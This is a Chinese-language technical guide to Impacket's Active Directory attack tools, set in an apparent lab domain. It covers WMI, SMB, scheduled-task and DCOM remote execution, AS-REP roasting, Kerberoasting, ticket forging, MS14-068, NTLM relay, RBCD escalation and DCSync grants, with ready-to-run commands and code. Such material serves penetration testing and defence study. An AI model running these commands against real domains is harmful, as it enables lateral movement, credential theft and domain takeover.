– WMI CLSID:CLSID_WbemLevel1Login = 8BC3F05E-D86B-11D0-A075-00C04FB68820

执行条件

  • 权限要求:需要 DCOM 远程访问/激活以及 WMI 命名空间的远程操作权限。常见默认配置中使用本地管理员;这些权限也可单独委派。
  • 网络端口:135/TCP(DCOM 端点映射器)+ 动态高端口 49152-65535/TCP(DCOM 实际通信端口)+ 445/TCP(SMB,用于从 ADMIN$ 共享读取命令输出文件)。DCOM 动态端口范围广,防火墙环境下经常是阻断点——如果 135 可达但命令执行后无回显,排查 DCOM 动态端口是否被中间防火墙拦截。
  • 关键依赖:ADMIN$ 共享需可访问;支持全部四种认证方式(P/H/A/K),包括 Kerberos 票据认证(与 dcomexec.py 不同)。

wmiexec.py 的完整执行流程:

阶段一:DCOM 连接与 WMI 初始化
1. 通过 DCOMConnection 连接到目标,使用 OXID Resolver 解析对象导出器标识符
2. 调用 CoCreateInstanceEx 激活 WMI 登录对象(通过 CLSID_WbemLevel1Login)
3. 调用 IWbemLevel1Login::NTLMLogin 取得 root/cimv2 的服务接口。方法名保留了 NTLM 字样,连接实际使用 NTLM 还是 Kerberos 由 DCOMConnection 的认证参数决定

阶段二:Win32_Process 进程创建
1. 调用 IWbemServices::GetObject('Win32_Process') 获取 Win32_Process WMI 类对象
2. 调用 Win32_Process.Create(command, currentDirectory, processInformation) 创建进程
3. 命令通过以下重定向将输出写到 SMB 共享文件中:command 1> \\127.0.0.1\ADMIN$\__<timestamp> 2>&1
4. 通过 SMB 从 ADMIN$ 共享读取输出文件,读取完成后删除

交互 Shell 的 cd 实现:

# 通过执行 cd 命令来跟踪当前目录
def do_cd(self, s):
    self.execute_remote('cd ' + s)
    # 如果 cd 输出为空(表示成功),通过 cd 命令获取当前路径
    self.execute_remote('cd ')
    self.__pwd = self.__outputBuffer.strip('\r\n')
# 交互式 shell
python wmiexec.py testjd.local/administrator:[email protected]

# PowerShell 模式
python wmiexec.py testjd.local/administrator:[email protected] -shell-type powershell

# 静默执行(无输出)
python wmiexec.py testjd.local/administrator:[email protected] -nooutput "cmd.exe /c ..."

与 psexec.py 的关键区别:
– 不创建命令执行服务;默认仍会写入临时输出文件
– 进程以当前用户身份运行(非 SYSTEM)
– 可结合进程创建审计和 WMI 活动记录观察调用;5861 对应永久事件订阅,和普通 Win32_Process.Create 的用途不同
– 依赖 DCOM 端口(135/TCP + 动态高端口 49152-65535),可能被防火墙阻断

smbexec.py —— SMB 服务执行

底层 RPC 接口:[MS-SCMR] Service Control Manager Remote Protocol

执行条件

  • 权限要求:目标机器的本地管理员权限。
  • 网络端口:445/TCP(SMB)。SERVER 模式下攻击机需在本机监听 445/TCP(需要 root/管理员权限启动),此时目标机器还需能够主动连接到攻击机的 445 端口(出站 SMB 不能被防火墙拦截)。
  • 关键依赖:SHARE 模式(默认)需 C$ 共享可写;SCM RPC(\pipe\svcctl)需可访问。

smbexec.py 与 psexec.py 的核心区别在于:它不上传任何二进制文件,而是利用 cmd.exe 和批处理文件来重定向命令输出。

执行原理:
1. 通过 SCM RPC (\pipe\svcctl) 创建一个服务
2. 服务的二进制路径不是实际的可执行文件,而是一个精心构造的 cmd.exe 命令行:
batch
%COMSPEC% /Q /c echo <命令内容> ^> \\%COMPUTERNAME%\C$\__output_XXXX 2^>^&1 > %SYSTEMROOT%\XXXX.bat & %COMSPEC% /Q /c %SYSTEMROOT%\XXXX.bat

这个命令的运行分解:
– echo <命令> ^> ... > XXXX.bat:将实际命令 + 输出重定向写入批处理文件
– %COMSPEC% /c XXXX.bat:执行批处理文件
– 批处理文件执行结果写入 \\%COMPUTERNAME%\C$\__output_XXXX
– 最后删除批处理文件
3. 服务执行完毕(可能立即失败,但这不影响),立即删除服务
4. 通过 SMB 读取 C$\__output_XXXX 文件获取输出

两种工作模式:
– SHARE 模式(默认):输出通过 C$(或其他指定共享)回传,攻击者通过 SMB 读取
– SERVER 模式:在攻击机本地启动一个 SMB 服务器(绑定 445 端口,需要 root 权限),目标机器通过 copy 命令将输出文件复制到攻击机的共享目录

# SHARE 模式
python smbexec.py testjd.local/administrator:[email protected]

# SERVER 模式(目标无需可写共享)
python smbexec.py testjd.local/administrator:[email protected] -mode SERVER

工作目录:每次命令都通过新服务执行,smbexec.py 的交互层不维护 cd 状态。操作文件时使用完整路径,或在同一条命令里先切换目录。

atexec.py —— 计划任务执行

底层 RPC 接口:[MS-TSCH] Task Scheduler Remote Protocol

RPC 接口 UUID:86D35949-83C9-4044-B424-DB363231FD0C(MSRPC_UUID_TSCHS),通过 \pipe\atsvc 命名管道连接

执行条件

  • 权限要求:目标机器的本地管理员权限。计划任务默认以 SYSTEM 身份运行,命令执行的权限高于当前凭据。
  • 网络端口:445/TCP(SMB,TSCH RPC 通过 \pipe\atsvc 命名管道传输,命令输出通过 ADMIN$ 共享回传)。
  • 关键依赖:Task Scheduler 服务需运行(默认自动启动);ADMIN$ 共享需可访问。

atexec.py 核心流程:

  1. 绑定到 TSCH RPC 接口:
dce.bind(tsch.MSRPC_UUID_TSCHS)
  1. 构造计划任务 XML。下面仅展示主体字段,完整 XML 见源码:
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>  <!-- 以 SYSTEM 身份运行 -->
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>cmd.exe</Command>
      <Arguments>/C whoami &gt; %windir%\Temp\example.tmp 2&gt;&amp;1</Arguments>
    </Exec>
  </Actions>
</Task>
  1. 调用 SchRpcRegisterTask (opnum 1) 注册任务
  2. 调用 SchRpcRun (opnum 12) 立即运行任务
  3. 轮询 SchRpcGetLastRunInfo (opnum 16),直到最后运行时间不再为零,确认任务已开始运行
  4. 调用 SchRpcDelete (opnum 13) 删除任务
  5. 通过 SMB ADMIN$ 共享读取 Temp\<random>.tmp 文件获取输出
# 执行命令
python atexec.py testjd.local/administrator:[email protected] "whoami"

# 静默执行
python atexec.py testjd.local/administrator:[email protected] -silentcommand "powershell.exe -enc <BASE64>"

dcomexec.py —— DCOM 对象执行

底层协议:[MS-DCOM] Distributed Component Object Model

dcomexec.py 利用 Windows 内置的 DCOM 对象来执行命令。支持三种 DCOM 对象:

对象名称 CLSID IID 执行方法 所需对象
MMC20.Application 49B2791A-B1AE-4C90-9B8E-E860BA07F889 IID_IDispatch ExecuteShellCommand (DISPPARAMS) 对应 COM 类可远程激活
ShellWindows 9BA05972-F6A8-11CF-A442-00A0C90A8F39 IID_IDispatch ShellExecute (通过 Document.Application) 对应 COM 类可远程激活
ShellBrowserWindow C08AFD90-F2A1-11D1-8455-00A0C91F3880 IID_IDispatch ShellExecute (通过 Document.Application) 对应 COM 类可远程激活

执行条件

  • 权限要求:目标机器的本地管理员权限。需要所选 COM 类已注册,并允许远程启动、激活和访问。ShellWindows 路径还依赖可取得的 Shell 窗口对象;MMC20 则通过 MMC 的对象模型调用命令。
  • 网络端口:135/TCP(DCOM 端点映射器)+ 动态高端口 49152-65535/TCP(DCOM 实际通信)+ 445/TCP(SMB,读取输出文件)。
  • 认证限制:本文源码版本在入口处拒绝 -k、-aesKey、-keytab,可使用 NTLM 密码或哈希认证。这个限制属于当前 dcomexec.py 的实现;WMI 使用的 DCOM 路径支持 Kerberos。

所有三种对象都是通过 COM 的 IDispatch 接口调用的,使用的是 OLE 自动化机制(IDispatch::Invoke)。具体流程:

  1. 连接到目标 DCOM(DCOMConnection),获取远程对象引用(OBJREF)
  2. 通过 CoCreateInstanceEx 激活 DCOM 对象
  3. 通过 IDispatch::GetIDsOfNames 获取方法名的 DISPID
  4. 通过 IDispatch::Invoke 调用方法,参数以 DISPPARAMS 结构传递
  5. 命令输出重定向到 SMB 共享(ADMIN$),通过 SMB 读取

MMC20 模式的具体调用链:

CoCreateInstanceEx(CLSID_MMC20) → IDispatch::GetIDsOfNames("Document") 
→ IDispatch::Invoke(DISPATCH_PROPERTYGET) → IDispatch::GetIDsOfNames("ActiveView") 
→ IDispatch::Invoke(DISPATCH_PROPERTYGET) → IDispatch::GetIDsOfNames("ExecuteShellCommand")
→ IDispatch::Invoke(DISPATCH_METHOD, [cmd, cwd, args, windowState])

ShellWindows/ShellBrowserWindow 模式的调用链:

CoCreateInstanceEx(CLSID_ShellWindows) → IDispatch::GetIDsOfNames("Item")
→ IDispatch::Invoke(DISPATCH_METHOD) → 获得 Document 
→ IDispatch::GetIDsOfNames("Application")
→ IDispatch::Invoke(DISPATCH_PROPERTYGET) → 获得 Shell.Application 
→ IDispatch::GetIDsOfNames("ShellExecute")
→ IDispatch::Invoke(DISPATCH_METHOD, [cmd, args, cwd, operation, show])
# ShellWindows 对象
python dcomexec.py testjd.local/administrator:[email protected]

# MMC20 对象
python dcomexec.py testjd.local/administrator:[email protected] -object MMC20

# ShellBrowserWindow 对象
python dcomexec.py testjd.local/administrator:[email protected] -object ShellBrowserWindow

认证参数检查位于 dcomexec.py 的入口。对象的注册、运行身份、远程激活 ACL 决定了实际调用条件。

横向移动工具特征对比

工具 底层协议 RPC UUID/CLSID 执行身份 所需权限 端口依赖 磁盘痕迹
psexec.py [MS-SCMR] + 命名管道 SCMR: 367ABB81-... SYSTEM 本地管理员 445/TCP (SMB);可显式选择 139/TCP RemComSvc 二进制 + 服务注册表
wmiexec.py [MS-WMI] over DCOM CLSID_WbemLevel1Login: 8BC3F05E-... 当前用户 本地管理员 135/TCP + 49152-65535/TCP (DCOM) + 445/TCP (SMB 回传) 临时输出文件
smbexec.py [MS-SCMR] SCMR: 367ABB81-... SYSTEM 本地管理员 445/TCP (SMB);SERVER 模式攻击机也需监听 445/TCP 批处理文件 + 输出文件
atexec.py [MS-TSCH] TSCH: 86D35949-... SYSTEM 本地管理员 445/TCP (SMB,含 \pipe\atsvc 管道) 计划任务 XML + 输出文件
dcomexec.py DCOM (IDispatch) MMC20/ShellWindows/ShellBrowserWindow 当前用户 本地管理员 135/TCP + 49152-65535/TCP (DCOM) + 445/TCP (SMB 回传) 临时输出文件

表中列出的是常见默认配置。创建服务需要 SCMR 相应权限;WMI 需要 DCOM 和命名空间权限;任务注册需要 Task Scheduler 的授权。管理员身份能否在远端形成有效令牌,还涉及本地账户的远程 UAC 过滤。

默认输出回传会使用 SMB。wmiexec.py -nooutput 不建立用于回显的 SMB 连接,DCOM 调用仍需要 TCP 135 和解析到的对象端点。psexec.py 等工具还可显式选择支持的 SMB 端口。检查网络条件时,需要看具体模式的连接。

Kerberos 攻击类工具

GetNPUsers.py —— AS-REP Roasting

攻击原理:Kerberos v5 协议的预认证(Pre-Authentication)机制。通常情况下,用户在请求 TGT 时需要在 AS-REQ 中提供用自己密码派生的密钥加密的时间戳(PA-ENC-TIMESTAMP),KDC 解密验证后才返回 AS-REP。但如果用户账户设置了 UF_DONT_REQUIRE_PREAUTH(userAccountControl 标志位 0x400000),KDC 将在不验证预认证数据的情况下直接返回 AS-REP。

AS-REP 中的 enc-part 字段使用用户密码派生的密钥加密。因此,攻击者可以:
1. 无需任何密码,向 KDC 发送不包含预认证数据的 AS-REQ
2. 收到 AS-REP,提取 enc-part 的密文
3. 离线尝试各种密码,用每个候选密码派生密钥,尝试解密 enc-part
4. 解密成功后,即获得用户的明文密码

LDAP 枚举需要查询凭据;已知用户名时可以直接向 KDC 请求 AS-REP。

场景 认证方式 说明
枚举未要求预认证的用户 P / H / A / K 需要有效域用户凭据进行 LDAP 查询
获取指定用户的 AS-REP(无需凭据) 无认证 仅需知道目标用户名,-no-pass + -request
从用户列表批量请求 AS-REP 无认证 -no-pass + -usersfile,列表中每个用户独立发送 AS-REQ

无凭据请求要求目标账户未启用预认证。此工具通过 TCP 88 发送 AS-REQ;AS-REP 密文用于验证候选密码。没有账户密钥就无法解开回复取得会话密钥,也无法将这份响应直接作为可用的 TGT 缓存。

# 有凭据:先通过 LDAP 枚举,再请求 AS-REP
python GetNPUsers.py testjd.local/attacker:Bb123456 -request -dc-ip 192.168.244.131

# 无凭据:直接从用户列表请求 AS-REP
python GetNPUsers.py testjd.local/ -no-pass -usersfile users.txt -dc-ip 192.168.244.131

注意:如果使用 -no-pass 但提供了用户名(如 testjd.local/attacker),脚本会尝试请求该用户的 AS-REP,而不是进行 LDAP 查询。如果不指定用户名(如 testjd.local/),则必须使用 -usersfile 提供目标用户名列表。

目标范围:仅 DC(88 端口为 Kerberos KDC,389/636 为 LDAP 查询)。

# 枚举用户
python GetNPUsers.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131

# 导出符合条件账户的 AS-REP 破解材料
python GetNPUsers.py testjd.local/attacker:Bb123456 -request -dc-ip 192.168.244.131 -outputfile asrep.txt

# 离线破解 (hashcat mode 18200)
hashcat -m 18200 asrep.txt wordlist.txt

GetUserSPNs.py —— Kerberoasting

攻击原理:Kerberos 服务票据(TGS)的加密密钥。当客户端请求某个服务(SPN)的 TGS 票据时,KDC 使用目标服务账户的长期密钥加密票据的 enc-part。RC4-HMAC 对应 NT 哈希,AES 则使用相应 AES 密钥。普通域用户通常可以用自己的 TGT 请求这些服务票据,服务访问权限在之后由目标服务检查。

LDAP 查询:查找注册了 SPN 的账户

搜索过滤: (&(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(servicePrincipalName=*))

TGS 请求:使用 getKerberosTGS() 函数,以目标服务的 SPN 作为 sname,向 KDC 发送 TGS-REQ。代码尝试优先取得 RC4 类型的凭据/票据;KDC 是否允许 RC4、账户支持的加密类型和输入密钥会影响结果。输出的 $krb5tgs$ 类型应与后续破解模式对应。

# 枚举 SPN 用户
python GetUserSPNs.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131

# 导出所有 TGS(Kerberoasting)
python GetUserSPNs.py testjd.local/attacker:Bb123456 -request -dc-ip 192.168.244.131 -outputfile kerberoast.txt

# 离线破解 (hashcat mode 13100)
hashcat -m 13100 kerberoast.txt wordlist.txt
# 13100 对应 etype 23;AES 票据需要对应的其他模式

getTGT.py & getST.py —— 票据请求

Kerberos 票据请求、会话密钥与业务认证

getTGT.py:通过 Kerberos AS-REQ 获取 TGT,保存为 ccache 文件。这是 Kerberos 票据认证的第一步。

认证方式:支持密码、NTLM 哈希 (-hashes)、AES Key (-aesKey)。入口没有 -k 参数;该脚本以长期密钥完成 AS 交换。已有 TGT 请求服务票据或续订则使用 getST.py。

目标范围:仅 DC(Kerberos KDC,TCP 88(本工具实现))。

python getTGT.py testjd.local/administrator:Aa123456 -dc-ip 192.168.244.131
export KRB5CCNAME=administrator.ccache

getST.py:通过 Kerberos TGS-REQ 获取服务票据(ST)。支持四种认证方式:

认证方式 参数示例 说明
密码 user:password 标准 Kerberos 认证
NTLM 哈希 -hashes :<NTHASH> Pass-the-Hash
AES Key -aesKey <KEY> AES Key 认证
ccache 票据 -k -no-pass + KRB5CCNAME 使用已缓存的 TGT 请求 ST

getST.py 支持从 ccache 中读取 TGT。它首先检查 KRB5CCNAME 指向的 ccache 文件中是否已有目标域的有效 TGT,如果有则直接使用;如果没有则回退到密码/hash/AES 获取 TGT。

目标范围:仅 DC(Kerberos KDC)。

S4U2Self 允许服务账户代表某个用户请求到自身的服务票据。S4U2Proxy 再使用这张证据票据请求后端服务:传统约束委派检查前端账户的委派目标及证据票据可转发性,RBCD 则在后端对象上检查允许委派的主体。用户的委派限制也会参与 KDC 检查。S4U2Self 使用 PA-FOR-USER (padata-type 129) 预认证数据结构:

# 构造 PA-FOR-USER
S4UByteArray = pack('<I', NT_PRINCIPAL) + b'<targetUser>' + b'<domain>' + b'Kerberos'
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

paForUserEnc = PA_FOR_USER_ENC()
paForUserEnc['userName'] = <targetUser components>
paForUserEnc['userRealm'] = <domain>
paForUserEnc['cksum']['cksumtype'] = hmac_md5
paForUserEnc['cksum']['checksum'] = checkSum

S4U2Proxy 使用 cname-in-addl-tkt KDC 选项和 PA-PAC-OPTIONS (padata-type 167) 来请求将 S4U2Self 获得的票据代理到另一个服务。

# 基本 ST 请求
python getST.py testjd.local/administrator:Aa123456 -spn cifs/dc01.testjd.local -dc-ip 192.168.244.131

# S4U2Self + S4U2Proxy:前提是已配置到目标的有效委派
python getST.py testjd.local/svc_with_delegation:Aa123456 -impersonate Administrator -spn cifs/dc01.testjd.local -dc-ip 192.168.244.131

# 历史 CVE-2020-17049:需要受影响 KDC 以及服务账户密钥
python getST.py testjd.local/svc_with_delegation:Aa123456 -impersonate Administrator -spn cifs/dc01.testjd.local -force-forwardable

ticketer.py:票据与 PAC 构造

普通 Golden / Silver Ticket 模式使用已取得的长期密钥在本地构造票据。-request 和 Sapphire 的 -impersonate 路径还会向 KDC 请求票据,具体分支见 ticketer.py。

Golden Ticket 使用 krbtgt 密钥加密 TGT 的 EncTicketPart;Silver Ticket 使用目标服务账户密钥加密对应服务的票据。CCache 还要保存客户端将来生成 Authenticator 所需的会话密钥。

核心步骤为:

  1. 构造 KERB_VALIDATION_INFO,填写账户 RID、域 SID、组 RID 及需要的 PAC 数据。
  2. 组织 PAC 缓冲区;计算签名前,将相关签名字段置零,再按协议计算服务端和 KDC 校验和。
  3. 将 PAC 放入 EncTicketPart.authorization-data,再加密 EncTicketPart(Key Usage 2)。
  4. 构造供缓存保存的 AS-REP / TGS-REP 及客户端会话密钥,写入 ccache。

RC4 使用 HMAC-MD5 校验和,AES 使用对应的 AES 校验和算法。Golden Ticket 中服务端和 KDC 签名都与 krbtgt 密钥有关;Silver Ticket 的服务端签名可由服务密钥计算,KDC 签名以及较新的 PAC 检查会进一步限制伪造票据的使用。KDC 账户检查、票据字段、账户状态、密钥轮换也会影响结果。

下面以真实存在的 Administrator、RID 500 为字段示例:

python ticketer.py -nthash '<KRBTGT_NTHASH>' -domain-sid '<DOMAIN_SID>' -domain testjd.local -user-id 500 Administrator
python ticketer.py -nthash '<MACHINE_NTHASH>' -domain-sid '<DOMAIN_SID>' -domain testjd.local -user-id 500 -spn cifs/dc01.testjd.local Administrator

获得 TGT 后仍要联系 KDC 请求目标服务票据;直接向服务提交 Silver Ticket 时,该服务还会检查票据、PAC 和资源权限。票据中填写的较长有效期也不会阻止密钥轮换或账户检查使其提前失效。

goldenPac.py —— MS14-068 利用

漏洞原理:Windows Kerberos KDC 在处理 PAC 签名验证时存在漏洞。受影响 KDC 接受了不带密钥的校验和类型来验证本应由密钥保护的 PAC,攻击者因而可自行计算校验和并伪造组成员信息。MS14-068 是 2014 年的修补公告,下面流程用于受影响的历史实验环境。

利用过程:
1. 以低权限用户获取不带 PAC 的 TGT(AS-REQ 设置 include-pac = FALSE)
2. 构造包含域管组成员身份的伪造 PAC,使用 MD5 作为签名算法
3. 在 TGS-REQ 的 enc-authorization-data 字段中嵌入伪造 PAC
4. KDC 使用合法的会话密钥解密 TGS-REQ,提取 PAC
5. 受影响 KDC 接受不带密钥的 PAC 校验和,并采用其中声明的组信息
6. 返回包含高权限 PAC 的有效 TGS

python goldenPac.py testjd.local/attacker:[email protected] -dc-ip 192.168.244.131

AD 信息枚举类工具

GetADUsers.py / GetADComputers.py —— LDAP 枚举

通过 LDAP v3 协议(389/TCP 或 636/TCP 用于 LDAPS)查询域控制器。

python GetADUsers.py testjd.local/attacker:Bb123456 -all -dc-ip 192.168.244.131
python GetADComputers.py testjd.local/attacker:Bb123456 -resolveIP -dc-ip 192.168.244.131

lookupsid.py —— SID 枚举

底层 RPC 接口:[MS-LSAT] Local Security Authority (Translation) Remote Protocol

RPC 接口 UUID:12345778-1234-ABCD-EF00-0123456789AB(MSRPC_UUID_LSAT),通过 \pipe\lsarpc 命名管道连接

原理:
1. 调用 LsarOpenPolicy2 打开 LSA 策略句柄
2. 调用 LsarQueryInformationPolicy2 获取域的 SID
3. 以域 SID 为前缀,构造 SID 列表:从 <DomainSID>-0 开始,逐个尝试到指定的 RID 上限
4. 批量调用 LsarLookupSids 解析 SID 到名称
5. 分批发送(每批 1000 个 SID),处理返回的已解析名称

LsarLookupSids 能解析的范围受端点和策略权限限制;结果包括所尝试 RID 范围内能被解析的账户或组。没有被查询的高 RID 对象不在结果中。

python lookupsid.py testjd.local/attacker:[email protected] 10000

samrdump.py —— SAMR 用户全量导出

底层 RPC 接口:[MS-SAMR] Security Account Manager Remote Protocol

RPC 接口 UUID:12345778-1234-ABCD-EF00-0123456789AC(MSRPC_UUID_SAMR),通过 \pipe\samr 命名管道连接

调用关系示意(省略 helper 前缀和句柄处理):

# 1. 建立连接
SamrConnect5(dce, serverName, SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN)

# 2. 枚举域
SamrEnumerateDomainsInSamServer(dce, serverHandle)
SamrLookupDomainInSamServer(dce, serverHandle, domainName)

# 3. 打开域
SamrOpenDomain(dce, serverHandle, DOMAIN_LOOKUP | DOMAIN_LIST_ACCOUNTS, domainSid)

# 4. 枚举用户
SamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext)  # 循环调用,每次返回一批

# 5. 对于每个用户
SamrOpenUser(dce, domainHandle, MAXIMUM_ALLOWED, userRid)
SamrQueryInformationUser2(dce, userHandle, UserAllInformation)
python samrdump.py testjd.local/administrator:[email protected]

findDelegation.py —— 委派关系发现

底层协议:LDAP v3

通过 LDAP 搜索委派相关账户,下面按字段展示过滤结构:

过滤结构示意(注释便于阅读):(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)   # UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
              (UserAccountControl:1.2.840.113556.1.4.803:=524288)     # UF_TRUSTED_FOR_DELEGATION
              (msDS-AllowedToDelegateTo=*)                             # 约束委派目标
              (msDS-AllowedToActOnBehalfOfOtherIdentity=*))           # RBCD
           (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))         # 排除禁用账户

查询属性:sAMAccountName, userAccountControl, objectCategory, msDS-AllowedToDelegateTo, msDS-AllowedToActOnBehalfOfOtherIdentity

对于 RBCD 类型,需要进一步解析 msDS-AllowedToActOnBehalfOfOtherIdentity 的二进制安全描述符(SR_SECURITY_DESCRIPTOR),提取 DACL 中的 ACE SID,再反向查询解析 SID 对应的 sAMAccountName。

python findDelegation.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131

中继与欺骗类工具

ntlmrelayx.py:认证转发与协议适配

ntlmrelayx.py 将接收认证的 server、连接目标的 client,以及认证成功后的 attack 分开实现,代码位于 impacket/examples/ntlmrelayx/。监听协议和目标协议是两个独立的选择,某个协议存在 client,并不代表也有同名监听器。

servers/ 包含 SMB、HTTP、MSSQL、RPC、WCF、RAW、RDP、WinRM 等入口;clients/ 则实现 SMB、LDAP/LDAPS、HTTP/HTTPS、MSSQL、IMAP 等目标客户端。attacks/ 根据目标服务选择操作,如 SMB 的 SAM 提取、LDAP 的目录查询/属性修改、AD CS HTTP 证书注册。

中继需要在线转发挑战响应,顺序如下:

  1. 来源客户端向中继入口发送 NTLM NEGOTIATE。
  2. 中继方连接目标服务,将 NEGOTIATE 交给目标。
  3. 目标返回 CHALLENGE,中继方把这份挑战交给来源客户端。
  4. 来源客户端针对该挑战生成 AUTHENTICATE,中继方再交给目标验证。
  5. 目标建立会话后,attack 模块尝试在此身份的授权范围内操作。

ntlmrelayx 的监听器、目标客户端与操作模块

采集到的旧挑战响应无法直接代替这一交互。来源与目标之间还有 MIC、消息签名、TLS 通道绑定等限制,协议组合分析见《NTLM 中继攻击》。

--delegate-access 使用 LDAP 身份修改目标计算机的 RBCD 属性。常见路径是中继计算机账户:默认 SELF 权限可允许它修改自身的该属性,工具再将受控前端账户的 SID 写入其中。创建新计算机还需要有效的创建权限和可用创建方式,也可使用 --escalate-user 指定已存在的前端计算机账户。域管理员不是这条路径的必要身份。

# 明确指定 SMB 目标;目标不强制 SMB 签名且身份有后续操作权限
python ntlmrelayx.py -t smb://192.168.244.132 -smb2support

# HTTP 来源 -> LDAPS;需要来源认证可触发、目标 CBT 条件允许,以及属性写入权限
python ntlmrelayx.py -t ldaps://dc01.testjd.local --no-smb-server --delegate-access

# 维护已中继成功的会话
python ntlmrelayx.py -t smb://192.168.244.132 -socks -smb2support

# targets.txt 每行使用协议明确的目标 URL
python ntlmrelayx.py -tf targets.txt -smb2support

SOCKS 插件复用的是中继形成的认证会话。它不会将 NTLM 响应变成受害者密码,也不会替中继方生成未知会话密钥下的签名。

源码:入口与配置、LDAP attack。

smbserver.py —— SMB 服务器

快速搭建简易 SMB 共享。可使用匿名访问、配置的 NTLM 用户凭据,或借助计算机账户通过 Netlogon 验证域 NTLM 认证并取得相关会话材料。-computeraccount* 参数配置的是后者。

# 基本共享
python smbserver.py TMP /tmp -smb2support

# 计算机账户认证(支持签名)
python smbserver.py TMP /tmp -computeraccountname WS01$ -computeraccounthash '<NTHASH>' -computeraccountdomain testjd.local -dc-ip 192.168.244.131 -smb2support

权限维持与凭据操作类工具

rbcd.py —— 基于资源的约束委派

底层协议:LDAP v3

操作 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值。该属性是一个二进制安全描述符(SR_SECURITY_DESCRIPTOR),其 DACL 中的 ACE 定义了哪些安全主体可以代表其他身份对此计算机执行约束委派(S4U2Proxy)。

RBCD 的写入操作示意(伪代码):

# 1. 构造 ACE(访问允许 ACE)
ace = create_allow_ace(attacker_controlled_computer_sid)
# ACE 类型: ACCESS_ALLOWED_ACE
# 访问掩码: 983551 (Full Control)

# 2. 读取现有的安全描述符
sd = LDAP_search(target_DN, attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity'])

# 3. 追加新 ACE 到 DACL
sd['Dacl'].aces.append(ace)

# 4. 使用 LDAP MODIFY_REPLACE 写回
ldap_session.modify(target_DN, {'msDS-AllowedToActOnBehalfOfOtherIdentity': [MODIFY_REPLACE, [sd.getData()]]})

RBCD 操作示例:写入目标属性需要相应目录权限;前端账户需要由操作者控制。这里通过创建新计算机提供前端账户,也可使用已有账户。修改前应保留原有 ACE。

# 1. 添加攻击者控制的计算机
python addcomputer.py testjd.local/attacker:Bb123456 -computer-name EVIL\$ -computer-pass ComputerPass123! -dc-ip 192.168.244.131

# 2. 配置 RBCD
python rbcd.py testjd.local/administrator:Aa123456 -delegate-to DC01$ -delegate-from EVIL$ -action write -dc-ip 192.168.244.131

# 3. 获取 EVIL$ TGT
python getTGT.py testjd.local/EVIL\$:ComputerPass123! -dc-ip 192.168.244.131

# 4. S4U2Self + S4U2Proxy 获取 Administrator 到 DC01 的 cifs ST
export KRB5CCNAME=EVIL\$.ccache
python getST.py testjd.local/EVIL\$ -k -no-pass -impersonate Administrator -spn cifs/dc01.testjd.local -dc-ip 192.168.244.131

# 5. 使用 CIFS 票据访问 SMB(保存路径见 getST 的 Saving ticket 输出)
export KRB5CCNAME=Administrator@[email protected]
python smbclient.py testjd.local/[email protected] -k -no-pass

dacledit.py —— DACL 编辑器

底层协议:LDAP v3

操作对象的 nTSecurityDescriptor 属性(同样是二进制安全描述符格式)。

支持的权限授予操作:
– DCSync:写入两个 GUID(DS-Replication-Get-Changes + DS-Replication-Get-Changes-All),使用 ADS_RIGHT_DS_CONTROL_ACCESS (0x100) 访问掩码
– ResetPassword:写入 00299570-246d-11d0-a768-00aa006e0529 GUID,使用 ADS_RIGHT_DS_CONTROL_ACCESS 访问掩码
– WriteMembers:写入 bf9679c0-0de6-11d0-a285-00aa003049e2 GUID,使用 ADS_RIGHT_DS_READ_PROP + ADS_RIGHT_DS_WRITE_PROP (0x30) 访问掩码
– FullControl:使用简单权限掩码 0xf01ff

ACE 的构造过程(以 DCSync 为例):

# 创建对象特定的 ACE
acedata = ACCESS_ALLOWED_OBJECT_ACE()
acedata['Mask']['Mask'] = ADS_RIGHT_DS_CONTROL_ACCESS  # 0x100
acedata['ObjectType'] = string_to_bin('<replication_guid>')  # 16 字节 GUID
acedata['Flags'] = ACE_OBJECT_TYPE_PRESENT  # 0x1

ace = ACE()
ace['AceType'] = ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE  # 0x5
ace['Ace'] = acedata
# 授权 DCSync
python dacledit.py testjd.local/administrator:Aa123456 -target-dn "DC=testjd,DC=local" -principal attacker -rights DCSync -action write -dc-ip 192.168.244.131

# 授权 ResetPassword
python dacledit.py testjd.local/administrator:Aa123456 -target administrator -principal attacker -rights ResetPassword -action write -dc-ip 192.168.244.131

addcomputer.py —— 添加域计算机账户

底层 RPC 接口:[MS-SAMR] Security Account Manager Remote Protocol / LDAP over SSL

通过 SAMR 创建计算机账户的调用关系示意:

# SAMR 方式
SamrConnect5(dce, serverName, ...)
SamrEnumerateDomainsInSamServer(dce, serverHandle)
SamrLookupDomainInSamServer(dce, serverHandle, domainName)
SamrOpenDomain(dce, serverHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, domainSid)
SamrCreateUser2InDomain(dce, domainHandle, computerName$, USER_WORKSTATION_TRUST_ACCOUNT, ...)
hSamrSetPasswordInternal4New(dce, userHandle, password)  # 使用加密的 SAMR 密码设置
SamrSetInformationUser2(dce, userHandle, UserControlInformation)  # 设置 UserAccountControl

LDAPS 方式直接在 CN=Computers,DC=testjd,DC=local 容器下创建对象:

ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], {
    'dnsHostName': 'evil.testjd.local',
    'userAccountControl': 0x1000,  # UF_WORKSTATION_TRUST_ACCOUNT
    'servicePrincipalName': ['HOST/evil', 'HOST/evil.testjd.local', ...],
    'sAMAccountName': 'EVIL$',
